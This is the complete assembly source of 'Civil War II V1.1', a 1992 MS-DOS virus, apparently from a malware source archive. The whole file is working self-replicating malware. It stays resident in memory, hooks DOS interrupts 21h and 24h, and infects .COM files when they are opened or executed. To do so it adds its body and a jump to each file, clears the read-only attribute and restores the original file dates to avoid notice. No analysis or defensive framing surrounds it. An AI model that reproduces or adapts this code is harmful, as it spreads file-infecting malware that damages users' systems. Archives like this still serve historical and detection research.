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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.civil_ii.asm
vxunderground 99a7802ac0
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2021-01-12 17:34:47 -06:00

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;****************************************************************************
; Civil War II V1.1 *
; *
; Assembled with Tasm 2.5 *
; (c) 1992 Trident/Dark Helmet, The Netherlands *
; *
;****************************************************************************
; *
; Civil War... *
; *
; "For all I've seen has change my mind *
; But still the wars go on as the years go by *
; With no love for God or human rights *
; 'Cause all these dreams are swept aside *
; By bloody hands of the hypnotized *
; Who carry the cross of homicide *
; And history bears the scars of our civil war" *
; *
;****************************************************************************
.Radix 16
Civil_War Segment
Model small
Assume cs:Civil_War, ds:Civil_War, es:Civil_War
org 100h
len equ offset last - begin
virus_len equ len / 16d
dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection
; marker
begin: Call virus ; make call to
; push IP on stack
virus: pop bp ; get IP from stack.
sub bp,109h ; adjust IP.
restore_host: mov di,0100h ; recover beginning
lea si,ds:[carrier_begin+bp] ; of carrier program.
mov cx,06h
rep movsb
check_resident: mov ah,0a0h ; check if virus
int 21h ; already installed.
cmp ax,0001h
je end_virus
adjust_memory: mov ax,cs ; start of Memory
dec ax ; Control Block
mov ds,ax
cmp byte ptr ds:[0000],5a ; check if last
; block
jne abort ; if not last block
; end
mov ax,ds:[0003] ; decrease memory
sub ax,40 ; by 1kbyte lenght
mov ds:[0003],ax
sub word ptr ds:[0012],40h
install_virus: mov bx,ax ; es point to start
mov ax,es ; virus in memory
add ax,bx
mov es,ax
mov cx,len ; cx = lenght virus
mov ax,ds ; restore ds
inc ax
mov ds,ax
lea si,ds:[begin+bp] ; point to start virus
lea di,es:0100 ; point to destination
rep movsb ; copy virus in
; memory
mov [virus_segment+bp],es ; store start virus
; in memory
mov ax,cs ; restore es
mov es,ax
hook_vector: cli ; no interups
mov ax,3521h ; revector int 21
int 21h
mov ds,[virus_segment+bp]
mov old_21h-6h,bx
mov old_21h+2-6h,es
mov dx,offset main_virus - 6h
mov ax,2521h
int 21h
sti
abort: mov ax,cs
mov ds,ax
mov es,ax
end_virus: mov bx,0100h ; jump to begin
jmp bx ; host file
;*****************************************************************************
main_virus: pushf
cmp ah,0a0h ; check virus call
jne new_21h ; no virus call
mov ax,0001h ; ax = id
popf ; return id
iret
new_21h: push ds ; save registers
push es
push di
push si
push ax
push bx
push cx
push dx
check_open: cmp ah,3dh
je chk_com
check_exec: cmp ax,04b00h ; exec function?
je chk_com
continu: pop dx ; restore registers
pop cx
pop bx
pop ax
pop si
pop di
pop es
pop ds
popf
jmp dword ptr cs:[old_21h-6]
chk_com: mov cs:[name_seg-6],ds
mov cs:[name_off-6],dx
cld ; check extension
mov di,dx ; for COM
push ds
pop es
mov al,'.' ; search extension
repne scasb ; check for 'COM"
cmp word ptr es:[di],'OC' ; check 'CO'
jne continu
cmp word ptr es:[di+2],'M' ; check 'M'
jne continu
call set_int24h
call set_atribuut
open_file: mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
mov ax,3D02h ; open file
call do_int21h
jc close_file
push cs
pop ds
mov [handle-6],ax
mov bx,ax
call get_date
check_infect: push cs
pop ds
mov bx,[handle-6] ; read first 6 bytes
mov ah,3fh
mov cx,06h
lea dx,[carrier_begin-6]
call do_int21h
mov al, byte ptr [carrier_begin-6]+3 ; check initials
mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H'
cmp ax,[initials-6]
je save_date ; if equal already
; infect
get_lenght: mov ax,4200h ; file pointer begin
call move_pointer
mov ax,4202h ; file pointer end
call move_pointer
sub ax,03h ; ax = filelenght
mov [lenght_file-6],ax
call write_jmp
call write_virus
save_date: push cs
pop ds
mov bx,[handle-6]
mov dx,[date-6]
mov cx,[time-6]
mov ax,5701h
call do_int21h
close_file: mov bx,[handle-6]
mov ah,03eh ; close file
call do_int21h
mov dx,cs:[old_24h-6] ; restore int24h
mov ds,cs:[old_24h+2-6]
mov ax,2524h
call do_int21h
jmp continu
new_24h: mov al,3
iret
;---------------------------------------------------------------------------
; PROCEDURES
;---------------------------------------------------------------------------
move_pointer: push cs
pop ds
mov bx,[handle-6]
xor cx,cx
xor dx,dx
call do_int21h
ret
do_int21h: pushf
call dword ptr cs:[old_21h-6]
ret
write_jmp: push cs
pop ds
mov ax,4200h
call move_pointer
mov ah,40h
mov cx,01h
lea dx,[jump-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[lenght_file-6]
call do_int21h
mov ah,40h
mov cx,02h
lea dx,[initials-6]
call do_int21h
ret
write_virus: push cs
pop ds
mov ax,4202h
call move_pointer
mov ah,40
mov cx,len
mov dx,100
call do_int21h
ret
get_date: mov ax,5700h
call do_int21h
push cs
pop ds
mov [date-6],dx
mov [time-6],cx
ret
set_int24h: mov ax,3524h
call do_int21h
mov cs:[old_24h-6],bx
mov cs:[old_24h+2-6],es
mov dx,offset new_24h-6
push cs
pop ds
mov ax,2524h
call do_int21h
ret
set_atribuut: mov ax,4300h ; get atribuut
mov ds,cs:[name_seg-6]
mov dx,cs:[name_off-6]
call do_int21h
and cl,0feh ; set atribuut
mov ax,4301h
call do_int21h
ret
;---------------------------------------------------------------------------
; DATA
;---------------------------------------------------------------------------
old_21h dw 00h,00h
old_24h dw 00h,00h
carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h
text db 'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h
jump db 0e9h
name_seg dw ?
name_off dw ?
virus_segment dw ?
lenght_file dw ?
handle dw ?
date dw ?
time dw ?
initials dw 4844h
last db 090h
Civil_war ends
end dummy

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